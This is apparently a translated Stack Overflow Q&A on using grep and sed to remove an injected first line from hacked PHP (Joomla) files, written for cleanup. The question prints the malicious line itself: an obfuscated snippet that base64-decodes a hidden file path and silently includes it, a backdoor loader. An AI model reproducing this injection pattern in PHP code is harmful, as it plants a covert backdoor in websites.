0

我想删除与下一个 grep 命令匹配的所有文件中的第一行:

grep -Rl '<\?php /\* <!-----.*/\?>' ./

这些文件被黑了,我想删除这一行。我尝试了几个带有“sed”的命令,但没有结果,命令如下:

sed 's/<\?php /\* <!-----.*/\?>//g' ./*

谢谢,最好的问候。

编辑。例子:

<?php /* <!-----sSMiRuomIZgafwAFrWqzLk-----> */ $SVjFIagfCmbDNLrO = base64_decode("L2hvbWUvZmVybmFuNi9wdWJsaWNfaHRtbC9QSFBMaXN0L2FkbWluL0ZDS2VkaXRvci9lZGl0b3IvZGlhbG9nL2Zja19zcGVsbGVycGFnZXMvc3BlbGxlcnBhZ2VzL3NlcnZlci1zY3JpcHRzLzIzMWE5ZDFhMGVmODM1NTEwNjdhMTY1YmU3ZmI4M2Zka2l4b3JscXZ1YiawaHX=");  @include_once $SVjFIagfCmbDNLrO;/* <!-----sSMiRuomIZgafwAFrWqzLk-----> */?><?php
defined('_JEXEC') or die('Direct Access to this location is not allowed.');

/**

并且只需要从<?php /*....to中删除*/?>

4

1 回答 1

4

你想要的是:

sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/d ; }' INPUTFILES*

.ORIG这仅在第一行运行,如果它与您的模式匹配,则将其删除(原地,并使用扩展名备份原始文件)。

更新:

如果您只想删除第一行的某些部分:

sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/s/YOUR_REGEX_PATTERN// ; }' INPUTFILES*

在您的情况下,它可能是:

sed -i.ORIG '1 { /<?php \/\*.*\/?>/s_<?php /\*.*<?php_<?php_ ; }' INPUTFILES*

但这仅在某些情况下有效……例如,<?php可能出现在编码字符串部分中……(可能发生……)。并且 sed 不支持非贪婪和/或前瞻、后瞻正则表达式......

于 2013-02-13T12:16:50.987 回答